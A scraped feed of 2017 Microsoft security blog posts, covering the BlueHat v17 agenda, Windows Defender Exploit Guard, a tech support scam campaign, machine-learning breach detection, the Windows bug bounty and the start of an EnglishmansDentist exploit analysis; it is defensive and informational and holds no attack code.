10:00 - 10:50 AM Alex Weinert
Dana Kaufman
Microsoft Account Compromise 2017: in the Trenches with the Microsoft Identity Security and Protection Team
11:00 - 11:50 AM Yacin Nadji Georgia Institute of Technology 28 Registrations Later: Measuring the Exploitation of Residual Trust in Domains
Track 2 - Attacking Products 1:00 - 1:50 PM Lei Shi
Mei Wang
Qihoo 360 Out of The Truman Show: VM escape in VMware gracefully
2:00 - 2:50 PM Matt Nelson SpecterOps “_____ Is Not a Security Boundary." Things I Have Learned and Things That Have Gotten Better from Researching Microsoft Software
3:00 - 3:50 PM Alexander Chistyakov Kaspersky Lab Detection is not a classification: reviewing machine learning techniques for cybersecurity specifics
4:00 - 4:50 PM Andrea Lelli Microsoft WannaCrypt + SMBv1.0 vulnerability = One of the most damaging ransomware attacks in history
Track 3 -Threat Intelligence 9:00 - 9:50 AM Nick Anderson Facebook Detecting compromise on Windows endpoints with osquery
10:00 - 10:50 AM Brian Hooper
Jagadeesh Parameswaran
Microsoft Tales from the SOC: Real-world Attacks Seen Through Defender ATP
11:00 - 11:50 AM Mark Parsons Microsoft Using TLS Certificates to Track Activity Groups
1:00 - 1:50 PM Chaz Lever Georgia Institute of Technology A Lustrum of Malware Network Communication: Evolution and Insights
2:00 - 2:50 PM Andrew Brandt Symantec Dyre to Trickbot: An inside look at TLS-encrypted command-and-control traffic
3:00 - 3:25 PM Alexis Dorais-Joncas
Thomas Dupuy
ESET Sednit Reloaded: The Bears' Operations From Christmas to Halloween
3:30 - 4:50 PM Chuck McAuley Ixia Communications Disrupting the Mirai Botnet

 

View full Conference Agenda and Talk AbstractsBlueHat-v17-GA-Agenda

Planning for the conference is well underway.  This year we have secured the entire conference center so that we can accommodate even more participants.  For external community members this is an invite-only conference.  The initial round of external invites will go out later today with details on how to register and the timeframe for response.  The registration site is live for external participants.
Keep watching here for more updates as we get closer to the event.

About BlueHat

BlueHat v17 is a two-day security conference for general audiences.  It will be held November 8-9, 2017 at the Microsoft Conference Center here in Redmond.  This year will see a larger event, over one thousand people expected in person, as BlueHat welcomes partners from the Microsoft Security Response Alliance Summit.  The conference is open to invited external guests and Microsoft employees and contingent staff.  More details on logistics and about the conference will be posted throughout the summer and fall here on the BlueHat blog.  Check back to get the latest here.  We look forward to hearing from you and meeting you again in November.

 

Phillip Misner,

Principal Security Group Manager, MSRC

 

 

BlueHatv17-Survey-Completion-Give-Away-Rules-And-Winners

 

 

]]>
https://blogs.technet.microsoft.com/bluehat/2017/09/01/announcing-the-bluehat-v17-schedule/feed/0
Moving Beyond EMET II – Windows Defender Exploit Guardhttps://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/#commentsWed, 09 Aug 2017 23:34:15 +0000https://blogs.technet.microsoft.com/srd/?p=4495Since we last wrote about the future of EMET and how it relates to Windows 10 back in November 2016 (see Moving Beyond EMET), we have received lots of invaluable feedback from EMET customers and enthusiasts regarding the upcoming EMET end of life. Based on that feedback, we are excited to share significant new exploit protection and threat mitigation improvements coming with the Windows 10 Fall Creators Update!

We recently introduced Windows Defender Exploit Guard (WDEG) which will complete our journey to incorporate all of the security benefits of EMET directly into Windows. This effort was significantly influenced by two insights that came up most frequently in our survey data, customer support calls, and conversations with EMET stakeholders and security enthusiasts. More than anything else, our customers have expressed that they want (1) a user-friendly UI for configuring mitigation settings and (2) a way to protect their legacy apps on Windows 10.

As such, with the Windows 10 Fall Creators Update, you can now audit, configure, and manage Windows system and application exploit mitigations right from the Windows Defender Security Center (WDSC). You do not need to deploy or install Windows Defender Antivirus or any other additional software to take advantage of these settings, and WDEG will be available on every Windows 10 PC running the Fall Creators Update. Windows Insiders can start trying out WDEG today following these simple steps:

  1. Right-click the WDSC icon in the taskbar notification area and click Open, or search the Start menu for Windows Defender Security Center.
  2. From the Windows Defender Security Center, click on App & browser control.
  3. Scroll to the bottom of the resulting screen to find Exploit protection settings.

In addition to the new user-friendly interface in WDSC, we have added the same legacy app protections that our EMET customers have come to expect, thus achieving parity between Windows 10 mitigation support and all of the mitigation features provided by EMET. While we strongly recommend the use of Control Flow Guard (CFG) to provide the strongest protections available, we understand that many enterprises depend on legacy apps to run their business operations, many of which may never get recompiled with CFG. These users can now use Exploit Guard to help secure such apps on modern systems by configuring control flow protections for legacy apps, similar to those offered by EMET but built-in directly to Windows 10 as part of WDEG. These legacy app control flow protections include:

  • Export Address Filtering (EAF)
  • Import Address Filtering (IAF)
  • Validate API Invocation (CallerCheck)
  • Simulate Execution (SimExec)
  • Validate Stack Integrity (StackPivot)

Another common ask from our customers was for auditing support. To facilitate easy deployment and usage of mitigations without the burden of application compatibility side effects, we have introduced audit mode support for both EMET legacy app mitigations as well as existing native mitigations provided by Windows.

Although EMET shipped with a set of recommended configuration settings, we know that many EMET customers customized the policy to suit the specific needs of their business. To help facilitate the migration to Windows Defender Exploit Guard, we have added a new PowerShell module that converts EMET XML settings files into Windows 10 mitigation policies for WDEG. More information about this PowerShell module, and about how EMET features relate to security features in Windows 10, can be found in the topic Understanding Windows 10 in relation to the Enhanced Mitigation Experience Toolkit.

Lastly, Windows Defender Exploit Guard includes much more than the features integrated from EMET, and we look forward to discussing host intrusion prevention capabilities and other WDEG components in a future blog post. In terms of upcoming features, WDEG will soon be fully integrated with Windows Defender ATP (WDATP) to provide a single-pane-of-glass view across the Windows security stack. Violations of configured WDEG mitigations will be logged by WDATP and used as additional signals for more advanced exploit detection.

For more details on Windows 10’s threat mitigations, please refer to our Windows 10 Threat Mitigations documentation on Microsoft Docs.

- Nate Nunez, OS Security

]]>
https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/feed/2
August 2017 security update releasehttps://blogs.technet.microsoft.com/msrc/2017/08/08/august-2017-security-update-release/https://blogs.technet.microsoft.com/msrc/2017/08/08/august-2017-security-update-release/#respondTue, 08 Aug 2017 17:02:59 +0000https://blogs.technet.microsoft.com/msrc/?p=3156Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice.

More information about this month’s security updates can be found in the Security Update Guide.

 

]]>
https://blogs.technet.microsoft.com/msrc/2017/08/08/august-2017-security-update-release/feed/0
Microsoft to remove WoSign and StartCom certificates in Windows 10https://blogs.technet.microsoft.com/mmpc/2017/08/08/microsoft-to-remove-wosign-and-startcom-certificates-in-windows-10/https://blogs.technet.microsoft.com/mmpc/2017/08/08/microsoft-to-remove-wosign-and-startcom-certificates-in-windows-10/#commentsTue, 08 Aug 2017 13:00:06 +0000https://blogs.technet.microsoft.com/mmpc/?p=15825Microsoft has concluded that the Chinese Certificate Authorities (CAs) WoSign and StartCom have failed to maintain the standards required by our Trusted Root Program. Observed unacceptable security practices include back-dating SHA-1 certificates, mis-issuances of certificates, accidental certificate revocation, duplicate certificate serial numbers, and multiple CAB Forum Baseline Requirements (BR) violations.

Thus, Microsoft will begin the natural deprecation of WoSign and StartCom certificates by setting a “NotBefore” date of 26 September 2017. This means all existing certificates will continue to function until they self-expire. Windows 10 will not trust any new certificates from these CAs after September 2017.

Microsoft values the global Certificate Authority community and only makes these decisions after careful consideration as to what is best for the security of our users.

 

 

 

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/08/08/microsoft-to-remove-wosign-and-startcom-certificates-in-windows-10/feed/3
The MSRC 2017 list of “Top 100” security researchershttps://blogs.technet.microsoft.com/msrc/2017/08/07/the-msrc-2017-list-of-top-100-security-researchers/https://blogs.technet.microsoft.com/msrc/2017/08/07/the-msrc-2017-list-of-top-100-security-researchers/#respondMon, 07 Aug 2017 18:36:00 +0000https://blogs.technet.microsoft.com/msrc/?p=3146Security researchers play an essential role in Microsoft’s security strategy and are key to community-based defense. To show our appreciation for their hard work and partnership, each year at BlackHat North America, the Microsoft Security Response Center highlights contributions of these researchers through the list of “Top 100” security researchers reporting to Microsoft.

This list ranks security researchers reporting directly to Microsoft according to the quantity and quality of all reports for which we’ve issued fixes. While one criteria for the ranking is volume of reports a researcher has made, the severity and impact of the reports is very important to the ranking. Higher-impact issues carry more weight than lower-impact ones. While this list does not include security researchers who report to our partners ZDI and iDefense as we do not always have full information to recognize their efforts, we very much appreciate the partnership with ZDI and iDefense as they ensure that we know about any reports affecting Microsoft products.

Given the number of individuals reporting to Microsoft, anyone ranked among the Top 100 is among some of the top talent in the industry. Regardless of where security researchers are ranked in this list, we appreciate their active and ongoing participation with the Microsoft Security Response Center, and encourage new researchers to report potential vulnerabilities to us at secure@microsoft.com.  We’re excited to see who’s going to be on the list next year.

MSRC team

]]>
https://blogs.technet.microsoft.com/msrc/2017/08/07/the-msrc-2017-list-of-top-100-security-researchers/feed/0
Links in phishing-like emails lead to tech support scamhttps://blogs.technet.microsoft.com/mmpc/2017/08/07/links-in-phishing-like-emails-lead-to-tech-support-scam/https://blogs.technet.microsoft.com/mmpc/2017/08/07/links-in-phishing-like-emails-lead-to-tech-support-scam/#commentsMon, 07 Aug 2017 13:00:04 +0000https://blogs.technet.microsoft.com/mmpc/?p=15745(Note: Our Tech support scams FAQ page has the latest info on this type of threat, including scammer tactics, fake error messages, and the latest scammer hotlines. You can also read our latest blog, New tech support scam launches communication or phone call app.)

 

Tech support scams continue to evolve, with scammers exploring more ways to reach potential victims. Recently, we have observed spam campaigns distributing links that lead to tech support scam websites.

Anti-spam filters in Microsoft Exchange Online Protection (EOP) for Office 365 and in Outlook.com blocked the said emails because they bore characteristics of phishing emails. The said spam emails use social engineering techniques—spoofing brands, pretending to be legitimate communications, disguising malicious URLs—employed by phishers to get recipients to click suspicious links.

However, instead of pointing to phishing sites designed to steal credentials, the links lead to tech support scam websites, which use various scare tactics to trick users into calling hotlines and paying for unnecessary "technical support services" that supposedly fix contrived device, platform, or software problems.

The use of email as an infection vector adds another facet to tech support scams, which are very widespread. Every month, at least three million users of various platforms and software encounter tech support scams. However, tech support scams are not typical email threats:

  • Many of these scams start with malicious ads found in dubious web pages—mostly download locations for fake installers and pirated media—that automatically redirect visitors to tech support scam sites where potential victims are tricked into calling hotlines.
  • Some tech support scams are carried out with the help of malware like Hicurdismos, which displays a fake BSOD screen, or Monitnev, which monitors event logs and displays fake error notifications every time an application crashes.
  • Still other tech support scams use cold calls. Scammers call potential victims and pretend to be from a software company. The scammers then ask victims to install applications that give them remote access to the victim’s devices. Using remote access, the experienced scam telemarketers can misrepresent normal system output as signs of problems. The scammers then offer fake solutions and ask for payment in the form of a one-time fee or subscription to a purported support service.

The recent spam campaigns that spread links to tech support scam websites show that scammers don’t stop looking for ways to perpetrate the scam. While it is unlikely that these cybercriminals will abandon the use of malicious ads, malware, or cold calls, email lets them cast a wider net.

An alternative infection path for tech support scams

The spam emails with links to tech support scam pages look like phishing emails. They pretend to be notifications from online retailers or professional social networking sites. The suspicious links are typically hidden in harmless-looking text.

Figure 1. Sample fake Alibaba order cancellation email. The order number is a suspicious link.

Figure 2. A sample of a fake Amazon order cancellation email. Similarly, the order number is a suspicious link.

Fig 3. Sample fake LinkedIn email of a message notification. The three hyperlinks in the email all lead to the same suspicious link.

The links in the emails point to websites that serve as redirectors. In the samples we analyzed, the links pointed to the following sites, which are most likely compromised:

  • hxxp://love.5[redacted]t.com/wordpress/wp-content/themes/acoustician.php
  • hxxp://s[redacted]t.com/wp-content/themes/paten.php
  • hxxp://k[redacted]g.org/wp-content/categorize.php

Interestingly, the redirector websites contain code that diverts some visitors to pharmaceutical or dating websites.

Fig 4. Redirects to pharmacy sites

In most cases, however, the redirector websites eventually lead to typical support scam pages.

Fig 5. Redirects to support scam site

Landing on typical support scam websites

Tech support scams sites often mimic legitimate sites. They display pop-up messages with fake warnings and customer service hotline numbers. As part of the scam, calls to these phone numbers are answered by agents who trick users into paying for fake technical support.

Fig 6. Tech support scam site with fake warning and support number

The technical support scam websites employ various social engineering techniques to compel users to call the provided hotlines. They warn about malware infection, license expiration, and system problems. Some scams sites display countdown timers to create a false sense of urgency, while others play an audio message describing the supposed problem.

Tech support scam websites are also known to use pop-up or dialog loops. A dialog loop refers to malicious code embedded in sites that causes the browser to present an infinite series of browser alerts containing falsified threatening messages. When the user dismisses an alert, the malicious code invokes another one, ad infinitum, essentially locking the browser session.

More advanced tech support scam sites use web elements to fake pop-up messages. Some of these scam sites open full screen and mimic browser windows, showing spoofed address bars.

Windows 10 protects against tech support scams, no matter the vector

Tech support scams continue to expand and evolve. They are becoming multi-faceted and are arriving via several infection vectors. A multi-layered defense is necessary.

Windows 10 has a comprehensive protection stack that defends against multi-faceted threats. New and updated features in Creators Update provide even more protection for devices against the latest and advanced threats. Upgrade to Windows 10, if you haven’t already, and keep your computers up-to-date.

Microsoft Exchange Online Protection (EOP) has built-in anti-spam filtering capabilities that help protect Office 365 customers from email threats, including tech support scams that arrive via email. Office 365 Advanced Threat Protection helps secure mailboxes against attacks by blocking emails with unsafe attachments and malicious links, including time of click protection. Outlook.com anti-spam filters also provide protection against these scam emails.

Use Microsoft Edge when browsing the Internet. It uses Windows Defender SmartScreen (also used by Internet Explorer), which blocks tech support scam websites and other malicious websites, as well as malicious downloads.

Figure 7. Microsoft Edge blocks known support scam websites using Windows Defender SmartScreen

Microsoft Edge also helps stop pop-up or dialog loops that are often spawned by tech support scam websites. It does this by allowing you to stop web pages from creating any more messages when the first one is dismissed:

Figure 8. Dialog loop protection in Microsoft Edge

When a website serves a dialog loop, you can also try to close the browser window. Alternatively, you can open Task Manager (by pressing CTRL+SHIFT+ESC), select the browser under Apps, and click End task. In future updates, Microsoft Edge will let you close the browser or specific tabs even when there is a pop-up or dialog message.

To report a tech support scam site using Microsoft Edge, select More […] while you are on the site. Select Send feedback > Report unsafe site, and then use the web page that opens to report the website. In Internet Explorer, select the gear icon and then select to Safety > Report unsafe website.

Windows Defender Antivirus detects and blocks tech support scam malware and other threats. It leverages protection from the cloud, helping ensure you are protected from the latest threats.

Tech support scams employ various social engineering techniques to get potential victims to call fake support hotlines. Do not call hotline numbers displayed in pop-up messages. Error and warning messages from Microsoft do not contain support numbers.

Some scammers might contact you directly and claim to be from Microsoft. Microsoft will not proactively reach out to you offering unsolicited technical support. To reach our technical support staff, visit the Microsoft Answer Desk.

For more guidance and a comprehensive list of scam numbers to avoid, read about avoiding technical support scams on Windows Defender Security Intelligence.

 

Alden Pornasdoro, Jeong Mun, Barak Shein, Eric Avena

]]>
https://blogs.technet.microsoft.com/mmpc/2017/08/07/links-in-phishing-like-emails-lead-to-tech-support-scam/feed/7
Windows Defender ATP machine learning: Detecting new and unusual breach activityhttps://blogs.technet.microsoft.com/mmpc/2017/08/03/windows-defender-atp-machine-learning-detecting-new-and-unusual-breach-activity/https://blogs.technet.microsoft.com/mmpc/2017/08/03/windows-defender-atp-machine-learning-detecting-new-and-unusual-breach-activity/#commentsThu, 03 Aug 2017 13:00:41 +0000https://blogs.technet.microsoft.com/mmpc/?p=14396Microsoft has been investing heavily in next-generation security technologies. These technologies use our ability to consolidate large sets of data and build intelligent systems that learn from that data. These machine learning (ML) systems flag and surface threats that would otherwise remain unnoticed amidst the continuous hum of billions of normal events and the inability of first-generation sensors to react to unfamiliar and subtle stimuli.

By augmenting expert human analysis, machine learning has driven an antimalware evolution within Windows Defender Antivirus, providing close to real-time detection of unknown, highly polymorphic malware. At the same time, machine learning has also enhanced how Windows Defender Advanced Threat Protection (Windows Defender ATP) is catching advanced attacks, including apex attacker activities that typically reside only in memory or are camouflaged as events triggered by common tools and everyday applications.

In this blog post, we explore the machine learning techniques that have transformed Windows Defender ATP into a formidable solution for spotting all kinds of breach activity in the enterprise network.

Windows Defender ATP sensors and the Intelligent Security Graph

To deliver effective post-breach detection*, Windows Defender ATP uses endpoint sensors that are built into Windows 10. A notable difference between these sensors and first-gen endpoint sensors is the absence of signatures. Instead of relying on signatures, Windows Defender ATP sensors collect a generic stream of behavioral events. For example, the sensors can capture whenever a process connects to a web server and starts to drop and launch an application.

*As disclosed in June, the upcoming Fall Creators Update will integrate Windows Defender ATP closely with the rest of the Windows threat protection stack, transforming it into a comprehensive pre- and post-breach protection solution that enables enterprise customers to not only detect and respond to threats on their devices and networks but also to deliver proactive protection.

We marry data from these sensors with the Microsoft Intelligent Security Graph to trigger detections in Windows Defender ATP. For instance, in the example above, we can augment sensor data with a variety of information about the web server, including IP address reputation as well as Windows Defender SmartScreen reputation for the sites hosted on the same server. The graph can expand further to cover file prevalence as well as files with similar network activity and other shared behaviors. By referencing contextual information available through the Intelligent Security Graph, Windows Defender ATP can deliver more reliable verdicts.

The detections we build on top of our sensors and graph data can range from simple pinpoint detections that identify specific malicious behavior to more complex heuristics. For example, we can identify the use of a command-line parameter associated with a particular hacking tool or whenever a browser is downloading and executing a binary from a low-reputation website. And, of course, we use full-fledged machine learning to spot subtler breach activity.

The role of machine learning

Human analysts are extremely capable of carving out heuristics that alert on breach activities based on their expertise. However, an analyst can consider only a limited set of signals when creating heuristic rules. By taking into account thousands of signals, ML can slice through data more precisely while being guided by manually created heuristics. Based on our analysis of actual alerts, our ML technologies are at least 20% more precise than manually crafted heuristics.

Machine learning technologies are also able to operate with more generic artifacts. As a result, ML technologies can generalize from various shades of data to detect new and previously unseen threats. Our ML models optimize the use of the vast amounts of data and computational resources available to Windows Defender ATP.

Employing expert classifiers

Windows Defender ATP ML systems are composed of numerous models or classifiers operating together to make detection decisions. These decisions result in the identification of malicious entities and activities, including malicious processes, malicious scripts, social engineering and exploitation involving Microsoft Office, and even ransomware attacks.

Our ML models combine state-of-the-art feature engineering with a wide range of ML algorithms. We use neural networks, which provide trained predictions from a set of objects, their weighted characteristics, and the relationships of these characteristics. We leverage ensembles of decision trees, which use several layers of decision trees to correct errors and come up with high-performing predictions.

Some of our models observe a broad set of behaviors, while other models are trained to be “expert classifiers” in particular areas, such as registry and memory activities. All these ML models make layers of decisions about whether observed behaviors are malicious or benign. Windows Defender ATP then uses numeric scores from the models to calculate probabilities and decide whether to raise alerts.

Delivering contextual information

In general, ML models can provide only limited contextual information, such as why an alert has been raised. If available, such contextual information could support SecOps personnel when assessing incident severity and invoking the appropriate response. Context also serves as an initial pointer that guides succeeding investigation work.

Individual ML models can provide some context, but mostly at a very high level. For example, the models described earlier can convey whether an organization is dealing with a malicious process as opposed to a socially engineered attack or a document exploit. Windows Defender ATP augments powerful ML models with contextual information that enables SecOps personnel to hunt for more artifacts and determine the actual scope and breadth of an incident. It can provide information about persistence mechanisms and connections to specific IP addresses. Windows Defender ATP delivers context by surfacing the expert classifiers that voted for an alert while highlighting the high-level behavior that contributed to the alert decision.

In Figure 1, the ML alert identifies a suspicious file and shows the process behavior—memory activity, in particular—and structural signals in the file that led the classifier to flag the file as suspicious. This information can be used to conduct a targeted investigation for the memory activity that is indicative of exploitation, cross-process injection, or both.

Figure 1. Machine learning alert with contextual information

Supervised machine learning and feature engineering

We do employ unsupervised ML methods to identify anomalies on the network, such as abnormal user activity. However, supervised machine learning models constitute the majority of our ML algorithms.

A supervised ML model or classifier is created from a set of examples for which the ground truth class (or the “label”) is known. The goal is to be able to generalize and assign correct labels to new and previously unseen files, emails, processes, events, and all kinds of entities. When assessing supervised classifiers, we focus on their performance while handling these unknown entities.

While ML systems make decisions regarding real-world entities, such as emails (is this spam?) and images (does it show a cat, a dog, or something else?), they are typically built on algorithms that operate on features. Therefore, to apply ML techniques, we need to convert our entities of interest to features in a process known as feature engineering. When working with spam mail, for example, a feature would be the number of identical emails received from the same sender.

Feature engineering can be conducted by relying on the understanding of domain experts. Or, as in the case of recently celebrated deep-learning methods, the process can also leverage large volumes of raw data and computational power to learn appropriate representations. For example, a deep learner can use billions of emails to learn the concepts that represent spam. Both these feature engineering approaches—expert engineering and deep-learning—are used by Windows Defender ATP ML.

The application of ML to cybersecurity presents a unique challenge because human adversaries actively try to avoid detection by obfuscating identifiable traits. We take on this challenge through a multipronged approach. First, we build our ML models on top of behavioral traits that human adversaries are unable to vary easily. For example, while malware can be polymorphic—they have many static properties that can easily be modified to evade detection—they still need to utilize a limited number of persistence mechanisms. Second, we retrain our ML models using fresh data constantly, helping ensure that they generalize based on activity currently occurring in the wild. And lastly, we employ a set of graders that validate alerts raised by ML models to help uncover potential misses and ensure that the alerts pass a high bar for precision.

Process behavior trees: Capturing software behavior

How do we convert various software behaviors to features that our ML algorithms can crunch?

Our observation is that behaviors of a software process are defined not only by its own actions but also by the actions of descendant processes and other related processes. Moreover, and this is particularly important for malicious processes, many of the actions associated with process execution are performed by other processes that have been injected with malicious code.

To address these observations, we introduced process behavior trees in Windows Defender ATP ML, encapsulating all actions and behaviors exhibited by a process and its descendants, related whether through process creation or memory injection. An example of a process behavior tree for malware execution is shown in Figure 2.

Figure 2 - Process behavior tree with both spawned processes and processes with injected code

Figure 2. Process behavior tree with both spawned processes and processes with injected code

Training ML models with behavioral data poses additional challenges stemming from the collection of training examples. Windows Defender ATP uses a variety of sources with millions of malicious files of different types, such as PE, documents, and scripts. We also collect training examples from non-file activities, including exploitation techniques launched from compromised websites or behaviors exhibited by in-memory or file-less threats. We build training sets based on malicious behaviors observed in the wild and normal activities on typical machines. We augment that with data from controlled detonations of malicious artifacts. Of course, the Windows Defender ATP sensors provide all the necessary data and insights without the use of signatures.

In the process of training of ML models, it is quite common to split the labeled data into train and test sets—the model that best extrapolates from train to test data is selected. Such a random split of data may not be sufficient in the cybersecurity domain. In Windows Defender ATP, we aim to be ahead of apex attackers and are aggressively exploring models that generalize well. For example, we partition labeled data by time of arrival and malware family, selecting the best performing models for detecting previously unseen malware families and advanced persistent threats (APTs).

Apart from enriching detection information, contextual data available to Windows Defender ATP through the Microsoft Intelligent Security Graph also augments the process behavior trees. When Windows Defender ATP flags a process tree—let’s say a tree for a PE file that opens a command-line shell connecting to a remote host—our systems augment this observation with various contextual signals, such as the prevalence of the file, the prevalence of the host, and whether the file was observed in Office 365. Windows Defender ATP classifiers consider these contextual signals before arriving at a decision to raise an alert.

Detecting suspicious PowerShell activities, code injection, and malicious documents

Machine learning technologies enable Windows Defender ATP to generically detect all kinds of advanced attack methods. In the following sections, we explore how these ML technologies detect attacks involving PowerShell scripts, code injection, and polymorphic documents that launch malicious code.

PowerShell activities

Attackers often use PowerShell, a scripting tool provided with Windows, to perform tasks without introducing malicious binaries, which can be caught by signature-based sensors. PowerShell also draws attackers because malicious payloads stored in scripts are generally easier to maintain and alter for polymorphism. Without relying on signatures, Windows Defender ATP ML detects suspicious PowerShell behaviors, including behaviors exhibited during a Kovter malware attack.

Figure 3 - Detection of suspicious PowerShell behavior exhibited during a Kovter attack

Figure 3. Detection of suspicious PowerShell behavior exhibited during a Kovter attack

Code injection and in-memory attacks

Kovter also uses in-memory or file-less attack methods to stay extremely stealthy. These methods generally help attackers evade signature-based scanners and reduce the chances of leaving forensic evidence. To stay persistent in memory, Kovter has PowerShell scripts that inject malicious code to other processes.

Windows Defender ATP sensors provide visibility into various memory events, including events related to the Kovter code injection. ML technologies process these events to uncover Kovter activity and similar activities, flagging them as abnormal and likely malicious.

Documents embedded with malicious code

Windows Defender ATP ML also detects documents embedded with malicious macros as they trigger suspicious PowerShell and Microsoft Word behaviors. ML detects this attack method based on behavior signals available only at the time of execution. In contrast, most signature-based technologies are unable to stop this method, which uses the normal processes PowerShell.exe and Winword.exe. Documents themselves are also generally easy to alter for polymorphism.

Figure 4 - Detections of suspicious PowerShell and Microsoft Word behavior triggered by a malicious document

Figure 4. Detections of suspicious PowerShell and Microsoft Word behavior triggered by a malicious document

Windows Defender ATP ML can also detect suspicious documents used by Chanitor malware (also known as Hancitor), generically flagging suspicious behaviors, including memory injection activities. These ML detections include enough context for SecOps personnel to understand why the documents have been flagged. Like many crafted malicious documents, Chanitor documents are often capable of bypassing signature-based solutions.

Figure 5 - Generic behavior-based detection of Hancitor document

Figure 5.Generic behavior-based detection of Hancitor document

Conclusion: Enhanced behavioral breach detection with machine learning

Behavior data is a great basis for robust, generic detections of malicious cyber activities. This data is made available to Windows Defender ATP by sensors built into Windows 10. Windows Defender ATP converts these behavioral events into sets of components or features that can be consumed by powerful machine learning technologies like process behavior trees. It also leverages the Microsoft Intelligent Security Graph to augment collected behaviors with important contextual information while applying Microsoft machine learning algorithms, delivering state-of-the art detection of advanced persistent threats (APTs) and the cyberattacks they enable.

For more information about Windows Defender ATP, check out its features and capabilities and read about why a post-breach detection approach is a key component of any enterprise security stack. Several features planned for release in the Fall Creators Update will be available to all users as part of the public preview.

Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge.

 

Shay Kels and Christian Seifert

Windows Defender ATP Research

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/08/03/windows-defender-atp-machine-learning-detecting-new-and-unusual-breach-activity/feed/1
Announcing the Windows Bounty Programhttps://blogs.technet.microsoft.com/msrc/2017/07/26/announcing-the-windows-bounty-program/https://blogs.technet.microsoft.com/msrc/2017/07/26/announcing-the-windows-bounty-program/#respondWed, 26 Jul 2017 17:01:21 +0000https://blogs.technet.microsoft.com/msrc/?p=3106Windows 10 represents the best and newest in our strong commitment to security with world-class mitigations. One of Microsoft’s longstanding strategies toward improving software security involves investing in defensive technologies that make it difficult and costly for attackers to find, exploit and leverage vulnerabilities. We built in mitigations and defenses such as DEP, ASLR, CFG, CIG, ACG, Device Guard, and Credential Guard to harden our systems and we continue adding defenses such as Windows Defender Application Guard to significantly increase protection to harden entry points while ensuring the customer experience is seamless.

In the spirit of maintaining a high security bar in Windows, we’re launching the Windows Bounty Program on July 26, 2017. This will include all features of the Windows Insider Preview in addition to focus areas in Hyper-V, Mitigation bypass, Windows Defender Application Guard, and Microsoft Edge. We’re also bumping up the pay-out range for the Hyper-V Bounty Program.

Since 2013, we have launched multiple bounties for various Windows features. Security is always changing and we prioritize different types of vulnerabilities at different points in time. Microsoft strongly believes in the value of the bug bounties, and we trust that it serves to enhance our security capabilities.

The overall program highlights:

  • Any critical or important class remote code execution, elevation of privilege, or design flaws that compromises a customer’s privacy and security will receive a bounty
  • The bounty program is sustained and will continue indefinitely at Microsoft’s discretion
  • Bounty payouts will range from $500 USD to $250,000 USD
  • If a researcher reports a qualifying vulnerability already found internally by Microsoft, a payment will be made to the first finder at a maximum of 10% of the highest amount they could’ve received (example: $1,500 for a RCE in Edge, $25,000 for RCE in Hyper-V)
  • All security bugs are important to us and we request you report all security bugs to secure@microsoft.com via Coordinated Vulnerability Disclosure (CVD) policy
  • For the latest information on new Windows features included in the Insider Previews, please visit the Windows 10 Insider Program Blog
  • The details of the targets and the focus area can be found in the table below:
 Category  Targets  Windows Version  Payout range (USD)
 Focus area  Microsoft Hyper-V

 Windows 10

 Windows Server 2012 R2

 Windows Server Insider Preview

 $5,000 to $250,000
 Focus area  Mitigation bypass and Bounty for defense  Windows 10  $500 to $200,000
 Focus area  Windows Defender Application Guard  WIP slow  $500 to $30,000
 Focus area  Microsoft Edge  WIP slow  $500 to $15,000
 Base  Windows Insider Preview  WIP slow  $500 to $15,000

 

As always, the most up-to-date information about the Microsoft Bounty Programs can be found at https://aka.ms/BugBounty and in the associated terms and FAQs.

Akila Srinivasan, Joe Bialek, and Matt Miller from Microsoft Security Response Center

David Weston, Jason Silves from Windows and Devices Group Enterprise and Security

Arthur Wongtschowski, Mary Lee, Ron Aquino, and Riley Pittman from Windows and Devices Group Information Security

]]>
https://blogs.technet.microsoft.com/msrc/2017/07/26/announcing-the-windows-bounty-program/feed/0
EnglishmansDentist Exploit Analysishttps://blogs.technet.microsoft.com/srd/2017/07/20/englishmansdentist-exploit-analysis/https://blogs.technet.microsoft.com/srd/2017/07/20/englishmansdentist-exploit-analysis/#respondThu, 20 Jul 2017 19:23:56 +0000https://blogs.technet.microsoft.com/srd/?p=4435Introduction

We are continuing our series of blog posts dissecting the exploits released by ShadowBrokers in April 2017. After the first two posts about the SMB exploits known as EternalChampion and EternalSynergy, we’ll move this time to analyze a different tool and we’ll focus on the exploit named EnglishmansDentist designed to target Exchange Server 2003.

EnglishmansDentist targets Exchange 2003 mail server through a rendering vulnerability present in a shared library provided by the underlying (out-of-support) operating system Windows Server 2003, which is used by Exchange 2003 in its default configuration.

Newer operating systems (Windows Server 2008 and above) and more recent versions of Exchange Server (2007 and above) are not impacted by this exploit and so no action is needed for customers using these newer platforms.

As previously announced on MSRC blog, after considering the availability of ready-to-use weaponized code and the assessment of the threat landscape, Microsoft decided to release in June an extraordinary update for out-of-support platforms (Windows XP and Server 2003) to protect customers who were not able to update to newer products.

This blog post will deep-dive into the root cause of the vulnerability, the impact on Microsoft products, the exploitation methods and how modern mitigations can break such exploits in newer operating systems and products.

Overview

The root cause of this vulnerability is a memory corruption bug in the code of a shared library (OLECNV32.DLL), used to render images encoded with the old file format known as QuickDraw PICT. This graphic library is present by default on Windows XP and Windows Server 2003. Exchange Server 2003 uses this graphic library to render PICT content delivered in form of email attachments. So, while the underlying bug exists in the operating system, the attack vector used to reach the vulnerable code is an Exchange rendering routine called through OLE invocation and triggered with a specially crafted email attachment.

When Microsoft security engineers analyze a vulnerability in a shared component such as a graphic library, multiple investigation workstreams are initiated to answers two very important questions:

  • what products still in support may use or distribute the vulnerable shared library?
  • is the source code of the vulnerable library copied or re-used in other components?

For the first question, we determined that the vulnerable version of OLECNV32.DLL library is shipped and present on disk only on out-of-support platforms like Windows Server 2003 and Windows XP, with the first one being of interest as default platform for an Exchange Server 2003 installation. After research on affected platforms and possible installation combinations of Exchange Server, we came up with the following matrix that can help to understand which combination of products are mostly exposed at risk of exploitation by EnglishmansDentist.

